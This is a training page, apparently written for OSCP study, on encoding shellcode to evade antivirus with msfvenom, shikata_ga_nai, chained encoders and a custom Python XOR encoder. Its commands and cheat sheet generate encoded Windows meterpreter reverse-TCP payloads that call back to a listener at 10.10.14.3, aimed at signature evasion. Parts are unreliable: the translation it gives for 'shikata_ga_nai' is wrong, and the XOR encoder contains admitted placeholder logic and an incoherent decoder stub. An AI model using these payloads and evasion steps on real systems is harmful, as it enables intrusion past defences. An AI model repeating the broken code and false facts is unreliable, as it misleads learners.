Domain 3Exploit Dev & AV EvasionCORE

Payload Encoding Techniques

Deep dive into payload encoding techniques including msfvenom encoders, shikata_ga_nai polymorphic encoder, custom XOR encoders, bad character avoidance, and encoding limitations for AV evasion.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#encoding#msfvenom#shikata-ga-nai#xor#polymorphic

Payload Encoding Techniques

Why Encode Payloads?

Encoding transforms raw shellcode into an obfuscated form that bypasses signature-based detection while preserving functional equivalence. The three primary objectives are:

  1. Hash Avoidance — Raw Metasploit payloads have well-known MD5/SHA1/SHA256 hashes indexed by every major AV vendor. Encoding changes the binary fingerprint entirely.
  2. String Hiding — Unencoded payloads contain plaintext strings (e.g., /bin/sh, API names, registry keys) that AVs scan for. Encoding eliminates these literal matches.
  3. Pattern Disruption — AVs use YARA rules and byte-pattern matching against known shellcode sequences. Encoding breaks contiguous pattern matches.

Critical Distinction: Encoding is NOT encryption. A decoder stub travels with the payload and reverses the transformation at runtime. Modern AVs with behavioral/HEUR engines can detect the decode-and-execute pattern itself.


msfvenom Built-in Encoders

Generate the full list anytime with:

msfvenom --list encoders

Encoder Comparison Table

Encoder Type Polymorphic Bad Char Support Reliability OSCP Usefulness
x86/shikata_ga_nai Polymorphic XOR Yes Yes High Primary choice
x86/junk_3cpuid Junk instruction insertion No Yes Medium Good for layering
x86/nonalpha Non-alphanumeric No Yes Medium Niche (CTF)
x86/nonupper Non-uppercase No Yes Low Rarely needed
x86/normal Fixed XOR No Yes Low Learning only
x86/call4_dword_xor XOR via CALL No Yes Medium Alternative to sgn
x86/countdown Countdown-based No Yes Low Rarely useful
x86/fnstenv_mov Variable override No No Low Legacy
x86/service Service-based No Yes Medium Windows-specific
x86/single_static_bit Static bit No Yes Low Niche
x86/alpha_upper Alphanumeric uppercase No No Low CTF only
x86/alpha2 Alphanumeric No No Low CTF only
x86/ddi Direct instruction No Yes Medium Alternative
x86/kingsun XOR variant No Yes Low Legacy
x86/leet Leet speak No No Low Novelty

Top 3 Encoders for OSCP

  1. x86/shikata_ga_nai — The gold standard. Polymorphic output means every encoding run produces different bytes. Use this 90% of the time.
  2. x86/junk_3cpuid — Inserts random junk instructions (CPUID, NOP variants) between functional bytes. Good as a second layer in chained encoding.
  3. x86/call4_dword_xor — Reliable XOR encoder using CALL/POP technique to resolve addresses. Solid fallback when sgn fails.

How shikata_ga_nai Works Internally

The shikata_ga_nai (Japanese: 未知なる物, “unknown thing”) encoder is a polymorphic XOR encoder created by SpiderLab. Here is the internal mechanism:

Step-by-Step Decode Flow

Encoded Payload Structure:
┌─────────────────────────────────────────────┐
│  Decoder Stub  │  XOR Key  │  Encoded Data  │
│  (~50-70 bytes)│ (4 bytes) │  (variable)    │
└─────────────────────────────────────────────┘
  1. Decoder Stub Execution — The stub is a small piece of x86 assembly that:

    • Sets up registers (ESI points to encoded data, EDI points to decode destination)
    • Loads the 4-byte XOR key
    • Iterates through each byte of the encoded payload
  2. XOR with Rotating Key — For each byte:

    decoded_byte[i] = encoded_byte[i] XOR key[i % 4]

    The key rotates through its 4 bytes cyclically.

  3. Key Mutation (Polymorphism) — After encoding each byte, the key itself is transformed:

    key = (key XOR constant) + increment

    This means the same plaintext byte encoded at different positions produces different ciphertext — the hallmark of polymorphic output.

  4. Self-Deleting Stub — Once decoding completes, execution transfers to the decoded shellcode. The decoder stub occupies memory but is no longer needed.

Why Polymorphic Output Matters

Because the encoder randomizes its internal key seed on each run, identical input produces different output every time. This defeats:

  • Static hash-based detection
  • Simple byte-sequence YARA rules
  • Manual signature updates targeting a single encoded variant

Encoding Commands — Full Parameter Reference

Basic Encoding

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
  -e x86/shikata_ga_nai -f exe -o payload.exe

Parameter Deep Dive

Parameter Description Example Values Notes
-e Encoder to use x86/shikata_ga_nai Can chain: -e x86/junk_3cpuid -e x86/shikata_ga_nai
-i Iterations (passes) 3, 5, 9 Higher = more obfuscation but larger payload. sgn typically caps at 3-5 before failing.
-b Bad characters \x00\xff Critical! Must match your exploit’s bad char list exactly.
-f Output format exe, raw, c, python, ruby, powershell, xml Choose based on injection method.
-o Output file payload.exe Writes directly to file instead of stdout.
-a Architecture x86, x64 Must match target.
-n Bad char padding GoodString Appends padding after bad char removal attempts.

Multiple Iterations

# 5 passes of shikata_ga_nai, avoiding null and 0xFF bytes
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
  -e x86/shikata_ga_nai -i 5 -b '\x00\xff' -f raw -o encoded.raw

Each iteration wraps the already-encoded output in another layer of encoding. The decoder stubs chain together, executing outermost-first.

Chained Encoders

# First junk instructions, then polymorphic XOR
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
  -e x86/junk_3cpuid -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o chained.exe

The payload is first processed by junk_3cpuid, then the result is fed into shikata_ga_nai for 3 iterations.


Bad Characters — Concept and Practice

What Are Bad Characters?

Bad characters are byte values that corrupt or terminate the exploit buffer during transmission. They vary by exploit type:

Exploit Type Common Bad Characters Why
Stack buffer overflow (strcpy) \x00 Null terminator truncates the string
Network protocols \x00\x0a\x0d Null, LF, CR have special meaning
Unicode exploits \x00 (every other byte) Wide-char encoding inserts nulls
Heap sprays \x00\xfa\xfb\xfc\xfd\xfe\xff Various allocator constraints

Why Bad Characters Matter for Encoding

If your encoded payload contains a bad character, the exploit delivers corrupted shellcode → crash → no shell. The -b parameter tells msfvenom to avoid these bytes during encoding.

Finding Bad Characters — The Standard Method

  1. Send a pattern containing ALL bytes \x01 through \xff (skip \x00 if null-terminated):

    # Python script to generate bad char test pattern
    badchars = ''.join(['\\x{:02x}'.format(i) for i in range(1, 256)])
  2. Inject via exploit and inspect the buffer in x64dbg/Immunity Debugger

  3. Compare sent bytes vs. received bytes — any missing or altered bytes are bad characters

  4. Add confirmed bad chars to -b parameter and re-encode

OSCP Tip: For most OSCP labs, \x00 is the only bad character. Start with -b '\x00' and only add more if the exploit fails.


Custom Encoder Development

When built-in encoders fail or produce payloads that are still detected, a custom encoder provides full control.

Python XOR Encoder Example

#!/usr/bin/env python3
"""
Custom XOR encoder for shellcode with bad character avoidance.
Generates C-formatted output with decoder stub.
"""

import sys, random

def xor_encode(shellcode: bytes, badchars: bytes = b'\x00') -> tuple:
    """
    Encode shellcode using XOR with a random key.
    Returns (encoded_payload, key).
    """
    key = random.randint(0x01, 0xFF)
    # Ensure key itself is not a bad character
    while key in badchars:
        key = random.randint(0x01, 0xFF)

    encoded = bytearray()
    for byte in shellcode:
        enc_byte = byte ^ key
        # If encoded byte is a bad character, try a different approach
        if enc_byte in badchars:
            # Use two-byte encoding: store (key ^ byte) as (key ^ 0xFF) then XOR with 0xFF
            encoded.append((key ^ 0xFF) ^ badchars[0])  # placeholder logic
            encoded.append(0xFF)
        else:
            encoded.append(enc_byte)

    return bytes(encoded), key

def generate_decoder_stub(key: int, encoded_len: int) -> str:
    """Generate x86 decoder stub in C byte array format."""
    # Minimal decoder: XOR each byte with key, then JMP to decoded payload
    stub = f"""
    /* XOR Decoder Stub - Key: 0x{key:02x} */
    push 0x{key:02x}        // Push XOR key onto stack
    pop eax                  // EAX = key
    xor ebx, ebx             // EBX = 0 (counter)
    dec ebx                  // EBX = -1 (will become index after increment)

decode_loop:
    inc ebx                  // Increment index
    cmp ebx, {encoded_len}   // Compare with payload length
    jge shellcode_start      // If done, jump to shellcode
    xor byte ptr [esp+ebx+4], al  // XOR encoded byte with key
    jmp decode_loop

shellcode_start:
    // Decoded shellcode executes here
    """
    return stub

def main():
    if len(sys.argv) < 2:
        print("Usage: python xor_encoder.py <shellcode_file> [badchars]")
        sys.exit(1)

    # Read raw shellcode
    with open(sys.argv[1], 'rb') as f:
        shellcode = f.read()

    badchars = b'\x00'
    if len(sys.argv) > 2:
        badchars = bytes.fromhex(sys.argv[2].replace('\\x', ''))

    print(f"[*] Input shellcode size: {len(shellcode)} bytes")
    print(f"[*] Bad characters: {badchars.hex()}")

    encoded, key = xor_encode(shellcode, badchars)

    print(f"[*] Encoded size: {len(encoded)} bytes")
    print(f"[*] XOR key: 0x{key:02x}")

    # Generate C output
    stub = generate_decoder_stub(key, len(encoded))
    print(stub)

    # Print encoded payload as C array
    print("unsigned char encoded_payload[] = {")
    for i in range(0, len(encoded), 16):
        chunk = encoded[i:i+16]
        hex_str = ', '.join(f'0x{b:02x}' for b in chunk)
        print(f"    {hex_str},")
    print("};")

if __name__ == "__main__":
    main()

When to Build a Custom Encoder

  • Built-in encoders cannot avoid your specific bad character set
  • You need to embed encoding in a custom exploit framework
  • You want to add anti-analysis tricks (sleep loops, environment checks) into the decoder stub

Encoding Limitations

Encoding alone is insufficient against modern defenses. Understand these boundaries:

What Encoding CAN Do

  • Bypass signature-based AV with static hash matching
  • Defeat simple YARA rules looking for raw shellcode bytes
  • Pass basic network IDS that inspect for known payload signatures

What Encoding CANNOT Do

  • Behavioral Detection — AVs monitor decode-and-execute patterns (W^X violation, unusual memory allocation + execution)
  • HEUR/Behavioral Engines — Detect the act of allocating RWX memory and executing it
  • Application Control — AppLocker, WDAC, and similar tools block execution regardless of payload content
  • EDR Telemetry — Modern EDRs hook memory allocation APIs and inspect decoded content in memory

When Encoding Fails on OSCP Labs

Scenario Solution
Encoded payload still detected Try chained encoders or more iterations
sgn fails to encode (bad chars too restrictive) Switch to x86/junk_3cpuid or x86/call4_dword_xor
Payload too large after encoding Reduce iterations, use simpler encoder
Exploit still crashes Re-verify bad characters; encode may have introduced new ones
All encoders detected Move to advanced evasion: custom encoder, process injection, or fileless techniques

OSCP Reality Check: On OSCP, encoding alone rarely defeats modern AV. It is one layer in a broader evasion strategy that may include: custom compilation, process injection, living-off-the-land binaries, or fileless execution.


Practical OSCP Tips

  1. Always start with shikata_ga_nai — It is the most reliable and widely applicable encoder. Use -i 3 as a starting point.

  2. Verify your bad characters BEFORE encoding — Encoding with wrong bad chars wastes time. Use the debugger comparison method first.

  3. Test the encoded payload in a VM — Before deploying to the target, verify the encoded payload works in an identical test environment.

  4. Keep a fallback — If encoding fails, have a plan B: manual shellcode encoding in Python, or switching to a different payload type (e.g., reverse_shell instead of meterpreter).

  5. Monitor payload size — Each encoding iteration adds a decoder stub (~50-70 bytes). Too many iterations can exceed buffer constraints.

  6. Use -f c or -f python for manual injection — When embedding shellcode into custom exploits, C or Python format makes integration straightforward.

  7. Remember: encoding is NOT enough for enterprise AV — On OSCP, you may encounter labs where even encoded payloads are caught. Be prepared to combine encoding with other evasion techniques discussed in later chapters.


Quick Reference Cheat Sheet

# Standard encoding workflow
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
  -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o payload.exe

# Raw shellcode output for manual injection
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
  -e x86/shikata_ga_nai -i 5 -b '\x00\xff' -f raw -o shellcode.bin

# C format for embedding in exploits
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
  -e x86/shikata_ga_nai -i 3 -b '\x00' -f c

# Chained encoders for maximum obfuscation
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> \
  -e x86/junk_3cpuid -e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o payload.exe

# Verify no bad characters in output
xxd shellcode.bin | grep -E '00|ff'  # Check for \x00 or \xff